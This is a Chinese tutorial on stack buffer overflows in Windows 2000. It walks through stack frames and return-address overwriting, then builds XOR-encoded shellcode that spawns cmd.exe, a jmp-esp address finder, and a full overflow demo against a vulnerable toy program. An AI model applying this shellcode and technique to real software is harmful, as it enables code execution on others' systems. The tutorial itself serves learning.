日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 运维知识 > windows >内容正文

windows

Windows 2000缓冲区溢出技术原理

發(fā)布時(shí)間:2025/3/15 windows 23 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Windows 2000缓冲区溢出技术原理 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

前言:

在看Jason著backend翻譯的《Windows 2000緩沖區(qū)溢出入門》時(shí)覺得過于簡(jiǎn)單,沒有講到真正的
原理,我簡(jiǎn)直不敢相信那會(huì)是老外寫的文章. 相反在看ipxodi和袁哥的緩沖區(qū)溢出原理和高級(jí)
ShellCode編寫技巧時(shí)我覺得寫的太好了,非常專業(yè),簡(jiǎn)直是一種藝術(shù),看來我國(guó)的安全技術(shù)已經(jīng)在
向歐美等技術(shù)先進(jìn)國(guó)家邁進(jìn)。但是面向初學(xué)者的,進(jìn)行詳細(xì)分析的緩沖溢出入門文章還是很少(我
還沒有看到),所以我下決心寫了這篇文章,從C的局部變量分配以及它和堆棧的關(guān)系、返回地址和
堆棧的關(guān)系、局部變量和返回地址以及堆棧的關(guān)系開始寫起,并在講述完原理后進(jìn)行簡(jiǎn)單的應(yīng)用,
使理論和應(yīng)用相結(jié)合,以給廣大初學(xué)緩沖溢出的朋友一點(diǎn)小小的幫助,本文還是具有典型性的,通
過本文的學(xué)習(xí),可以讓我們從一個(gè)普通的C程序員,了解到更加底層的技術(shù),本文雖是面向初學(xué)者(
指初學(xué)緩沖溢出,而不是初學(xué)C語言),作者假定你(讀者)已經(jīng)是一位熟練的C程序員,并且了解一些
Asm編程技術(shù)。我也是剛學(xué)緩沖區(qū)溢出不久,這是我第一次寫溢出技術(shù),所以難免有錯(cuò)誤的地方,還
請(qǐng)大家指正,在ipxodi和袁哥的文章中我學(xué)到了很多東西,但ipxodi和袁哥和文章比較深比較專業(yè)
,初學(xué)者學(xué)習(xí)起來有些困難,特別我又是非計(jì)算機(jī)專業(yè)的(我和綠盟的小四哥一樣是電腦會(huì)計(jì)專業(yè)的
,向小四哥學(xué)習(xí),呵呵!).在這里把我學(xué)習(xí)時(shí)的一點(diǎn)理解,一點(diǎn)經(jīng)驗(yàn)介紹給大家,希望對(duì)廣大學(xué)習(xí)緩沖
溢出的朋友有所幫助!

???????????????????? 第一章 存儲(chǔ)分配,局部?jī)?nèi)存變量,堆棧和函數(shù)調(diào)用

1,首先寫一個(gè)簡(jiǎn)單的C字符串拷貝程序
//test.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void overflow(void)
{
char buf[10];
strcpy(buf,"aaaaaaaaaa");

}//end overflow

int main(void)
{
overflow();
return 0;
}//end main

2,按F11進(jìn)入"Step into"調(diào)試模式,其實(shí)只需要留意對(duì)我們研究和學(xué)習(xí)有用的匯編程序段,如下:

1: #include <stdio.h>
2: #include <stdlib.h>
3: #include <string.h>
4:
5: void overflow(void)
6: {
00401020 55 push ebp
00401021 8B EC mov ebp,esp
00401023 83 EC 4C sub esp,4Ch
00401026 53 push ebx
00401027 56 push esi
00401028 57 push edi
00401029 8D 7D B4 lea edi,[ebp-4Ch]
0040102C B9 13 00 00 00 mov ecx,13h
00401031 B8 CC CC CC CC mov eax,0CCCCCCCCh
00401036 F3 AB rep stos dword ptr [edi]
7: char buf[10];
8: strcpy(buf,"aaaaaaaaaa");
00401038 68 1C F0 41 00 push offset string "aaaaaaaaaa" (0041f01c)
0040103D 8D 45 F4 lea eax,[ebp-0Ch]
00401040 50 push eax
00401041 E8 6A 00 00 00 call strcpy (004010b0)
00401046 83 C4 08 add esp,8
9:
10: }//end overflow
00401049 5F pop edi
0040104A 5E pop esi
0040104B 5B pop ebx
0040104C 83 C4 4C add esp,4Ch
0040104F 3B EC cmp ebp,esp
00401051 E8 4A 01 00 00 call __chkesp (004011a0)
00401056 8B E5 mov esp,ebp
00401058 5D pop ebp
00401059 C3 ret
11:
12: int main(void)
13: {
00401070 55 push ebp
00401071 8B EC mov ebp,esp
00401073 83 EC 40 sub esp,40h
00401076 53 push ebx
00401077 56 push esi
00401078 57 push edi
00401079 8D 7D C0 lea edi,[ebp-40h]
0040107C B9 10 00 00 00 mov ecx,10h
00401081 B8 CC CC CC CC mov eax,0CCCCCCCCh
00401086 F3 AB rep stos dword ptr [edi]
14: overflow();
00401088 E8 7D FF FF FF call @ILT+5(overflow) (0040100a)
15: return 0;
0040108D 33 C0 xor eax,eax
16: }//end main
0040108F 5F pop edi
00401090 5E pop esi
00401091 5B pop ebx
00401092 83 C4 40 add esp,40h
00401095 3B EC cmp ebp,esp
00401097 E8 04 01 00 00 call __chkesp (004011a0)
0040109C 8B E5 mov esp,ebp
0040109E 5D pop ebp
0040109F C3 ret

3,返回VStudio IDE,在調(diào)用overflow函數(shù)處設(shè)置斷點(diǎn),再次選擇"Run"菜單項(xiàng)
這時(shí)程序在調(diào)用overflow前停止。(下面的學(xué)習(xí)你需要不斷地翻看上面的Asm程序段)
現(xiàn)在看一下在調(diào)用overflow之前的幾個(gè)需要注意的參數(shù),把它們加入"Watch"窗口

esp 0x0012ff34(注意:這些值在不同的機(jī)器上運(yùn)行時(shí)可能會(huì)不一樣)
ebp 0x0012ff80
buf 變量尚未分配
overflow 0x00401020
main 0x00401070

4,按F11跟蹤進(jìn)入overflow,讓程序停在6:

現(xiàn)在再看一下幾個(gè)主要參數(shù)
esp=0x0012ff30,其它未變(指我們watch的幾個(gè)標(biāo)識(shí)符,這時(shí)eip一定是會(huì)變化的)
很顯然堆棧里壓了一個(gè)dword(4字節(jié))數(shù)據(jù),看看它是什么,打開memory窗口,
輸入esp,右擊窗口內(nèi)容,選"Long Hex Format",當(dāng)前的堆棧頂內(nèi)容0x0040108d,
現(xiàn)在請(qǐng)看一下call overflow的下一行,如果找不到請(qǐng)從頭搜索"15:"字符串,
看到了嗎!壓入的是call overflow的下一指令地址,也就是我們通常說的"函數(shù)返
回地址".
再按F11(執(zhí)行push ebp),再看一下幾個(gè)主要參數(shù)
esp=0x0012ff2c,現(xiàn)在堆棧頂中是ebp的值0x0012ff80,
再按F11(執(zhí)行下面的語句),程序?qū)?dāng)前esp值保存在ebp中: mov ebp,esp
然后就開始分配局部變量了
sub esp,4ch;分配了76(0x4c)個(gè)字節(jié)這個(gè)地方我不太清楚為什么始終要保留64(0x40)個(gè)字節(jié),
其實(shí)只有12(0x0c)字節(jié)可用,隨后的7句指令:
00401026 53 push ebx
00401027 56 push esi
00401028 57 push edi
00401029 8D 7D B4 lea edi,[ebp-4Ch]
0040102C B9 13 00 00 00 mov ecx,13h
00401031 B8 CC CC CC CC mov eax,0CCCCCCCCh
00401036 F3 AB rep stos dword ptr [edi]
將這76個(gè)字節(jié)以dword(4)為單位填充為0xcccccccc,共填充76/4=19(0x13)次
讓我們?cè)趫?zhí)行完rep stos dword ptr [edi]時(shí)先停下來.在watch窗口里加入eip和一個(gè)表達(dá)式
"ebp-0ch",會(huì)發(fā)現(xiàn)在"ebp-0ch"和buf的地址一樣,這就是編譯程序在堆棧中為我們分配的局部
內(nèi)存變量的起始地址(如果你懂編譯原理,這里很容易理解),在memory窗口里輸入ebp-0ch
(變量起始地址),右擊窗口選"Byte Format",可以看到里面有12個(gè)字節(jié)是被0xcc填充過的.
好!現(xiàn)在跟蹤執(zhí)行完call strcpy,再看看Memory窗口的內(nèi)容,有11個(gè)字節(jié)被填充,前10個(gè)填充為
0x61即ASCII字符'a',后一個(gè)字節(jié)為0這驗(yàn)證了C字符串操作函數(shù)總是產(chǎn)生一個(gè)空終止字符。
再往下看,右擊選"Long Hex Format"看到它們分別是 0x0012ff80和0x0040108d,什么?有點(diǎn)
熟?對(duì)啊!我也覺得有點(diǎn)面熟,為什么呢?請(qǐng)回頭看一下第4小節(jié)的開始部分,找到答案了?對(duì)!
是"老的ebp"和"函數(shù)返回地址",繼續(xù)跟蹤將執(zhí)行以下幾個(gè)動(dòng)作,恢復(fù)主要寄存器內(nèi)容,
add esp 4ch銷毀了局部?jī)?nèi)存變量恢復(fù)老的ebp(這時(shí)堆棧頂?shù)膬?nèi)容為0x0040108d),再ret返回
(其實(shí)ret相當(dāng)于執(zhí)行了一次"pop eip",但并沒有這樣的指令)執(zhí)行完這條指令后eip的內(nèi)容變
為0x0040108d,這時(shí)已經(jīng)回到了主函數(shù)中,在主函數(shù)中將執(zhí)行幾乎同樣的動(dòng)作,最后完成程序執(zhí)行。

有人可能會(huì)問overflow需要回到main所以用了一個(gè)ret,可是main中的ret是做什么用的呢?
其實(shí)初學(xué)者可能并不知道我們的C程序編譯后程序的空間結(jié)構(gòu)(簡(jiǎn)化后的)是這么一個(gè)樣子的.

----------------------------------
//程序入口點(diǎn)(Program Entry Point)
.
.
.
call _main
push eax
call _ExitProcess
.
----------------------------------
//void overflow(void)
push ebp
.
.
.
call _strcpy
.
.
.
ret
----------------------------------
//int main(void)
push ebp
.
.
.
call _overflow
.
.
.
ret
----------------------------------

overflow中的ret讓程序回到main,而main中的ret是為了回到入口點(diǎn)那段程序,以返回操作系統(tǒng)。

小結(jié):在第一章里我們學(xué)習(xí)到了一些為理解緩沖區(qū)溢出打基礎(chǔ)的東西,如局部?jī)?nèi)存變量是如
何分配的,它于堆棧的關(guān)系以及函數(shù)調(diào)用、函數(shù)返回地址與堆棧的關(guān)系,把這些東西搞懂
了以后我們可以進(jìn)行一些簡(jiǎn)單的應(yīng)用,出于學(xué)習(xí)原理的目的,在下一章中我們將用緩沖溢
出來實(shí)現(xiàn)一個(gè)命令控制臺(tái)窗口(cmd.exe),如果你需要更實(shí)用的,可以參照ipxodi和袁哥
的相關(guān)技術(shù)文章。

???????????????????? 第二章 利用溢出覆蓋,改變程序流程及其簡(jiǎn)單應(yīng)用

第一節(jié),地址覆蓋

同樣的還是第一章開頭的那個(gè)程序,讓我們改成為一個(gè)有緩沖溢出問題的程序.
//test.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void overflow(void)
{
char buf[10];
strcpy(buf,"aaaaaaaaaab1234");//<=-----改這里在原來的十個(gè)'a'后再加"b1234"

}//end overflow

int main(void)
{
overflow();
return 0;
}//end main

重新編譯,在strcpy處設(shè)置斷點(diǎn),然后無錯(cuò)運(yùn)行到斷點(diǎn)處,切換到匯編代碼窗口

00401020 55 push ebp
00401021 8B EC mov ebp,esp
00401023 83 EC 4C sub esp,4Ch
00401026 53 push ebx
00401027 56 push esi
00401028 57 push edi
00401029 8D 7D B4 lea edi,[ebp-4Ch]
0040102C B9 13 00 00 00 mov ecx,13h
00401031 B8 CC CC CC CC mov eax,0CCCCCCCCh
00401036 F3 AB rep stos dword ptr [edi]
7: char buf[10];
8: strcpy(buf,"aaaaaaaaaab1234");//<=-----讓程序停在這里
00401038 68 1C F0 41 00 push offset string "aaaaaaaaaab1234" (0041f01c)
0040103D 8D 45 F4 lea eax,[ebp-0Ch]
00401040 50 push eax
00401041 E8 6A 00 00 00 call strcpy (004010b0)
00401046 83 C4 08 add esp,8
9: }//end overflow
00401049 5F pop edi
0040104A 5E pop esi
0040104B 5B pop ebx
0040104C 83 C4 4C add esp,4Ch
0040104F 3B EC cmp ebp,esp
00401051 E8 4A 01 00 00 call __chkesp (004011a0)
00401056 8B E5 mov esp,ebp
00401058 5D pop ebp
00401059 C3 ret

在watch窗口加入ebp和buf,并在memory窗口輸入"buf"看一下strcpy函數(shù)執(zhí)行以前的堆棧情況,選擇
"Long Hex Format",可以看到當(dāng)前的堆棧情況如下:
0012FEE0 CCCCCCCC
.
.
.
.
0012FF20 CCCCCCCC //<=----buf的起始地址(再次強(qiáng)調(diào),不同機(jī)器上運(yùn)行時(shí)這里的值可能會(huì)不一樣),12字節(jié)可用
0012FF24 CCCCCCCC
0012FF28 CCCCCCCC
0012FF2C 0012FF80 //<=----老的ebp,是由函數(shù)開始處的push ebp指令填入的
0012FF30 0040108D //<=----函數(shù)返回地址即main函數(shù)中call overflow指令的下指令地址

也可以表示為:

[64個(gè)保留字節(jié)(填充為0xcc)]
[buf(12個(gè)可用字節(jié),當(dāng)前全部填充為0xcc)]
[老的ebp(當(dāng)前為0x0012FF80)]
[函數(shù)返回地址(當(dāng)前為0x0040108D)]
按F10直至執(zhí)行完call strcpy再看一下memory窗口紅色的部分,選擇"Byte Format",從buf的起始地址開始被填入了十個(gè)0x61('a'),一個(gè)0x62('b'),0x31('1'),0x32('2'),0x33('3'),0x34('4'),以及一個(gè)0x00,可以看到"老的ebp"已經(jīng)被我們改變了:
0012FEE0 CCCCCCCC
.
.
.
.
0012FF20 61 61 61 61 aaaa //<=----buf的起始地址,內(nèi)容已經(jīng)改變
0012FF24 61 61 61 61 aaaa
0012FF28 61 61 62 31 aab1 //<=----注意!!!!!
0012FF2C 32 33 34 00 234. //<=----老的ebp內(nèi)容已經(jīng)被改變
0012FF30 8D 10 40 00 ..@. //<=----函數(shù)返回地址未變

看一下我剛才讓你注意的地方,'b'和'1'將buf的12個(gè)可用字節(jié)的最后兩個(gè)字節(jié)填充了,而后面的'2','3','4'和0x00做為一個(gè)dword覆蓋(修改)了ebp的值,再下面一個(gè)dword就是函數(shù)返回地址,再按F10執(zhí)行,程序可以正常返回main(因?yàn)槲覀儧]有修改返回地址值),看到了這里改變函數(shù)返回地址成另外一個(gè)任意的值(讓程序流程跳到另一地址空間)我想已經(jīng)不是什么難事了吧!

可能初學(xué)緩沖溢出的朋友會(huì)問“這管什么用呢?”,不要著急下面我們就看看這樣的技術(shù)究竟可以做什么!

第二節(jié),利用地址覆蓋,跳轉(zhuǎn)并執(zhí)行任意代碼

這一部分開始將有些復(fù)雜,你的C/Asm混合編程技術(shù)將得到煅煉,寫一個(gè)程序使程序開啟一個(gè)cmd.exe原理是這樣的:先用LoadLibrary("msvcrt.dll")裝載vc運(yùn)行時(shí)庫(Runtime Library)再用GetProcAddress("system")獲得system函數(shù)起址,system函數(shù)有什么作用不用我說了吧!如果不明白請(qǐng)參閱msdn.再用system("cmd.exe")開啟cmd.exe命令控制臺(tái)
程序如下
#include <stdio.h>
void main(void)
{
__asm
{//在這里模擬出一個(gè)函數(shù)體內(nèi)的程序結(jié)構(gòu),我們自己分配空間來存儲(chǔ)"msvcrt.dll","system","cmd.exe"三個(gè)字串
push ebp
push ecx
push edx
mov ebp,esp
sub esp,20h//分配32(0x20)個(gè)字節(jié)就已經(jīng)夠用了
xor ecx,ecx
/**************************************/
//調(diào)用LoadLibrary函數(shù)裝載msvcrt.dll
mov byte ptr [ebp-0bh],'m'
mov byte ptr [ebp-0ah],'s'
mov byte ptr [ebp-09h],'v'
mov byte ptr [ebp-08h],'c'
mov byte ptr [ebp-07h],'r'
mov byte ptr [ebp-06h],'t'
mov byte ptr [ebp-05h],'.'
mov byte ptr [ebp-04h],'d'
mov byte ptr [ebp-03h],'l'
mov byte ptr [ebp-02h],'l'
mov byte ptr [ebp-01h],0
lea eax,[ebp-0bh]
push eax
mov ecx,77e6a254h;//<=----用depends獲得的LoadLibrary函數(shù)地址,在我的機(jī)器上它是不變的,你學(xué)習(xí)本文時(shí)可能要修改
call ecx
mov edx,eax//保存裝載后msvcrt.dll在內(nèi)存中的起始地址
//調(diào)用GetProcAddress取得system函數(shù)起址
mov byte ptr [ebp-0bh],'s'
mov byte ptr [ebp-0ah],'y'
mov byte ptr [ebp-09h],'s'
mov byte ptr [ebp-08h],'t'
mov byte ptr [ebp-07h],'e'
mov byte ptr [ebp-06h],'m'
mov byte ptr [ebp-05h],0
lea eax,[ebp-0bh]
push eax
push edx
mov ecx,77e69ac1h;//<=----同樣的用depends獲得的,你學(xué)習(xí)本文時(shí)可能要修改它
call ecx
mov edx,eax//保存獲得的system函數(shù)在內(nèi)存中的起始地址
//調(diào)用system開啟cmd環(huán)境
mov byte ptr [ebp-0bh],'c'
mov byte ptr [ebp-0ah],'m'
mov byte ptr [ebp-09h],'d'
mov byte ptr [ebp-08h],'.'
mov byte ptr [ebp-07h],'e'
mov byte ptr [ebp-06h],'x'
mov byte ptr [ebp-05h],'e'
mov byte ptr [ebp-04h],0
lea eax,[ebp-0bh]
push eax
call edx
add esp,4;//system函數(shù)使用C調(diào)用約定(它的原型沒有使用WINAPI這樣的標(biāo)識(shí)符)由調(diào)用者調(diào)整堆棧
/**************************************/
mov esp,ebp
pop edx
pop ecx
pop ebp
}
}

編譯、運(yùn)行得到命令控制臺(tái),調(diào)入Step Into調(diào)試模式,選擇"Disassembly"和"Code Bytes"得到機(jī)器代碼如下:

char code[]="/x55/x51/x52/x8B/xEC/x83/xEC/x20/x33/xC9"
"/xC6/x45/xF5/x6D/xC6/x45/xF6/x73/xC6/x45"
"/xF7/x76/xC6/x45/xF8/x63/xC6/x45/xF9/x72"
"/xC6/x45/xFA/x74/xC6/x45/xFB/x2E/xC6/x45"
"/xFC/x64/xC6/x45/xFD/x6C/xC6/x45/xFE/x6C"
"/xC6/x45/xFF/x00/x8D/x45/xF5/x50/xB9/x54"//<=----注意:第一個(gè)0x00
"/xA2/xE6/x77/xFF/xD1/x8B/xD0/xC6/x45/xF5"
"/x73/xC6/x45/xF6/x79/xC6/x45/xF7/x73/xC6"
"/x45/xF8/x74/xC6/x45/xF9/x65/xC6/x45/xFA"
"/x6D/xC6/x45/xFB/x00/x8D/x45/xF5/x50/x52"//<=----第二個(gè)0x00
"/xB9/xC1/x9A/xE6/x77/xFF/xD1/x8B/xD0/xC6"
"/x45/xF5/x63/xC6/x45/xF6/x6D/xC6/x45/xF7"
"/x64/xC6/x45/xF8/x2E/xC6/x45/xF9/x65/xC6"
"/x45/xFA/x78/xC6/x45/xFB/x65/xC6/x45/xFC"
"/x00/x8D/x45/xF5/x50/xFF/xD2/x83/xC4/x04"//<=----第三個(gè)0x00
"/x8B/xE5/x5A/x59/x5D"

如果不懂在匯編語言中調(diào)用C函數(shù)如何調(diào)整參數(shù),請(qǐng)參閱羅云琳大哥的相關(guān)資料。
經(jīng)過第一章和第二章這么多的分析你的頭腦中應(yīng)該有了一個(gè)ShellCode的雛形的了吧!在這里我們的溢出字串不再使用aaaaaaaaaab1234而是將它設(shè)計(jì)成這樣:aaaaaaaaaabbddddxxxxcccccccc......的格式.前10個(gè)a和2個(gè)'b'作用不變(其實(shí)沒有用,"墊腳石"而已),中4個(gè)dddd覆蓋ebp,xxxx為jmp esp指令的內(nèi)存地址(它覆蓋了程序原來的返回地址),后面的cccccccc......是我們上面的獲得命令控制臺(tái)程序的機(jī)器碼(經(jīng)過編碼的)。
當(dāng)字串溢出后overflow的ret讓eip=xxxx(執(zhí)行jmp esp),這時(shí)esp指向我們的命令控制臺(tái)程序起址,這樣就讓原本應(yīng)該回到主函數(shù)繼續(xù)執(zhí)行的程序流程改變?nèi)?zhí)行我們的代碼了,這里還有一個(gè)小問題是C的字串起考貝函數(shù)會(huì)在Code字串里的第一個(gè)0x00處(共三個(gè)分別在code的第53偏移、第95偏移和第140偏移處)將我們的ShellCode截?cái)?這樣就我們希望執(zhí)行的代碼將不被全部執(zhí)行,所以ShellCode必須經(jīng)過編碼將0x00異或0x99,并在溢出后動(dòng)態(tài)解碼,這就需要一段解碼程序加在ShellCode前面,溢出后它將首先被執(zhí)行,它將Shellcode中的經(jīng)過編碼的0x99解碼(還原)成0x00,編碼我參考了ipxodi的異或0x99方法,在本文中我使用了不同的解碼算法,先將code編碼成這樣:
"/x55/x51/x52/x8B/xEC/x83/xEC/x20/x33/xC9"
"/xC6/x45/xF5/x6D/xC6/x45/xF6/x73/xC6/x45"
"/xF7/x76/xC6/x45/xF8/x63/xC6/x45/xF9/x72"
"/xC6/x45/xFA/x74/xC6/x45/xFB/x2E/xC6/x45"
"/xFC/x64/xC6/x45/xFD/x6C/xC6/x45/xFE/x6C"
"/xC6/x45/xFF/x99/x8D/x45/xF5/x50/xB9/x54"//<=----第一個(gè)編碼后的0x99,請(qǐng)比較未編碼前的相應(yīng)位置的值
"/xA2/xE6/x77/xFF/xD1/x8B/xD0/xC6/x45/xF5"
"/x73/xC6/x45/xF6/x79/xC6/x45/xF7/x73/xC6"
"/x45/xF8/x74/xC6/x45/xF9/x65/xC6/x45/xFA"
"/x6D/xC6/x45/xFB/x99/x8D/x45/xF5/x50/x52"//<=----第二個(gè)編碼后的0x99
"/xB9/xC1/x9A/xE6/x77/xFF/xD1/x8B/xD0/xC6"
"/x45/xF5/x63/xC6/x45/xF6/x6D/xC6/x45/xF7"
"/x64/xC6/x45/xF8/x2E/xC6/x45/xF9/x65/xC6"
"/x45/xFA/x78/xC6/x45/xFB/x65/xC6/x45/xFC"
"/x99/x8D/x45/xF5/x50/xFF/xD2/x83/xC4/x04"//<=----第三個(gè)編碼后的0x99
"/x8B/xE5/x5A/x59/x5D";
需要在它頭部加上以下解碼子程序:
__asm
{
mov eax,esp; //這是溢出后執(zhí)行jmp esp后執(zhí)行的第一條指令,esp指向當(dāng)前指令地址,意義是"獲得解碼程序起址"
add eax,44h; //這個(gè)解碼子程序有20個(gè)字節(jié)(解碼程序起址+20=code起址,再加上53偏移)使eax指向第一個(gè)編碼過的0x99
xor [eax],99h //解碼第一個(gè)0x99,這個(gè)操作的意義是"0x99異或0x99=0x00",即還原成0x00
add eax,28h //指向第95偏移
xor [eax],99h //解碼第二個(gè)0x99
add eax,2eh //指向第140偏移
xor [eax],99h //解碼第三個(gè)0x99
}

jmp esp指令地址是通過下面這個(gè)簡(jiǎn)單的程序找到的,請(qǐng)參考backend的相關(guān)資料:

#include "stdafx.h"
#include "find.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/
// The one and only application object

CWinApp theApp;

using namespace std;

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;

// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// TODO: change error code to suit your needs
cerr << _T("Fatal Error: MFC initialization failed") << endl;
nRetCode = 1;
}
else
{
#if 0
return 0;
__asm jmp esp

#else

bool we_loaded_it = false;
HINSTANCE h;
TCHAR dllname[] = _T("msvcrt");

h = GetModuleHandle(dllname);
if(h == NULL)
{
h = LoadLibrary(dllname);
if(h == NULL)
{
cout<<"ERROR LOADING DLL: "<<dllname<<endl;
return 1;
}
we_loaded_it = true;
}

BYTE* ptr = (BYTE*)h;
bool done = false;
for(int y = 0;!done;y++)
{
try
{
if(ptr[y] == 0xFF && ptr[y+1] == 0xE4)
{
int pos = (int)ptr + y;
cout<<"OPCODE found at 0x"<<hex<<pos<<endl;
}
}
catch(...)
{
cout<<"END OF "<<dllname<<" MEMORY REACHED"<<endl;
done = true;
}
}

if(we_loaded_it) FreeLibrary(h);
#endif
}
return nRetCode;
}

在我的機(jī)器上找到的jmp esp代碼在0x78024e02地址處,這樣我們已經(jīng)收集全了所有的信息:
(溢出點(diǎn),jmp esp代碼地址,經(jīng)過編碼的ShellCode和解碼ShellCode的子程序)
Shellcode=溢出字串+jmp esp+解碼子程序+code(編碼后的)得到如下代碼:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

char xcode[]="aaaaaaaaaabbdddd"
"/x02/x4e/x02/x78"//jmp esp 代碼地址,不同機(jī)器不同動(dòng)態(tài)連接庫版本可能不一樣
"/x8B/xC4/x83/xC0/x49/x80/x30/x99/x83/xC0"//解碼子程序
"/x29/x80/x30/x99/x83/xC0/x2e/x80/x30/x99"
"/x55/x51/x52/x8B/xEC/x83/xEC/x20/x33/xC9"//開啟cmd.exe的程序(code)
"/xC6/x45/xF5/x6D/xC6/x45/xF6/x73/xC6/x45"
"/xF7/x76/xC6/x45/xF8/x63/xC6/x45/xF9/x72"
"/xC6/x45/xFA/x74/xC6/x45/xFB/x2E/xC6/x45"
"/xFC/x64/xC6/x45/xFD/x6C/xC6/x45/xFE/x6C"
"/xC6/x45/xFF/x99/x8D/x45/xF5/x50/xB9/x54"
"/xA2/xE6/x77/xFF/xD1/x8B/xD0/xC6/x45/xF5"
"/x73/xC6/x45/xF6/x79/xC6/x45/xF7/x73/xC6"
"/x45/xF8/x74/xC6/x45/xF9/x65/xC6/x45/xFA"
"/x6D/xC6/x45/xFB/x99/x8D/x45/xF5/x50/x52"
"/xB9/xC1/x9A/xE6/x77/xFF/xD1/x8B/xD0/xC6"
"/x45/xF5/x63/xC6/x45/xF6/x6D/xC6/x45/xF7"
"/x64/xC6/x45/xF8/x2E/xC6/x45/xF9/x65/xC6"
"/x45/xFA/x78/xC6/x45/xFB/x65/xC6/x45/xFC"
"/x99/x8D/x45/xF5/x50/xFF/xD2/x83/xC4/x04"
"/x8B/xE5/x5A/x59/x5D";

void overflow(void)
{
char buf[10];
strcpy(buf,xcode);//模擬溢出漏洞
}//end overflow

int main(void)
{
LoadLibrary("msvcrt.dll");//模擬受攻擊應(yīng)用程序引入的msvcrt.dll(這里只是模擬,有些漏洞程序并不引入這個(gè)庫)
overflow();
return 0;
}//end main

本程序在Windows 2000 Pro 5.00.2195 SP2下,由VC++ 6.0編譯、調(diào)試、運(yùn)行通過。

第二章小結(jié):

寫一個(gè)溢出攻擊測(cè)試程序需要以下步驟:

1,發(fā)現(xiàn)并確定漏洞程序的溢出點(diǎn)

2,找到j(luò)mp esp指令地址

3,編寫并優(yōu)化Shellcode程序代碼(C或Asm),如果必要在Shellcode頭部加上編/解碼程序(如本文所舉的例子)

4,調(diào)試、測(cè)試代碼有效性,公布代碼(如果不是很危險(xiǎn),否則可能會(huì)觸犯法律)

關(guān)于:

  程序設(shè)計(jì)是一門高度藝術(shù)化的技術(shù),可現(xiàn)在很多人(程序員)卻說"不需要會(huì)經(jīng)典算法,不需要會(huì)數(shù)據(jù)結(jié)構(gòu),不需要會(huì)底層技術(shù),我們做不了的可以讓其它公司做,光使用VB.NET做開發(fā),賺的錢就夠我用的了..",我卻要說這些人并不是真正的程序員,我非常崇拜XFocus的FlashSky以及NSFocus的ipxodi、袁哥、小四哥等,他們中同樣有很多人是非計(jì)算機(jī)專業(yè)的,可在我心目中他們才是高境界的程序員,我會(huì)努力的向他們學(xué)習(xí),并不斷的充實(shí)自己,希望在不久的將來我會(huì)成為中安網(wǎng)的FlashSky......!

最后:
  進(jìn)行溢出攻擊要比本文描述的復(fù)雜很多(本文只是剖析溢出原理,在完全理解本文以后,你也可以試著練習(xí)練習(xí)),首先溢出點(diǎn)很難確定(計(jì)算),這需要你熟練使用反匯編工具和調(diào)試工具,并有大量的調(diào)試經(jīng)驗(yàn)(看到某一段Asm代碼馬上就可以想像到它的C代碼表示),還有ShellCode要寫的不具有平臺(tái)依賴性,也就是說它越通用越好(當(dāng)然你別指望為Windows寫的ShellCode可以拿到Unix/Linux上使用,反之亦然),最好是將ShellCode里用到的函數(shù)全部都動(dòng)態(tài)引入(用LoadLibrary和GetProcAddress函數(shù),這也是我為什么在第二章開啟cmd.exe的程序里使用它們的原因,袁哥寫的文章<ShellCode編寫高級(jí)技術(shù)>里甚至連這兩個(gè)函數(shù)也使用高深的技術(shù)動(dòng)態(tài)引入,jmp esp代碼地址同樣是動(dòng)態(tài)定位的,天啦!活佛轉(zhuǎn)世;-))
  此外,ShellCode的編/解碼子程序同樣重要,編寫的好壞直接決定代碼是否被完整執(zhí)行,同樣有很深的東西可以學(xué)習(xí)和研究。
  終于完成了這篇溢出技術(shù)文章,我覺得我的腦子現(xiàn)在就像一個(gè)要溢出的堆棧:-),受不了了,不說了,再見!
??????????????????????????? writen by yellow from www.safechina.net

The End.

總結(jié)

以上是生活随笔為你收集整理的Windows 2000缓冲区溢出技术原理的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。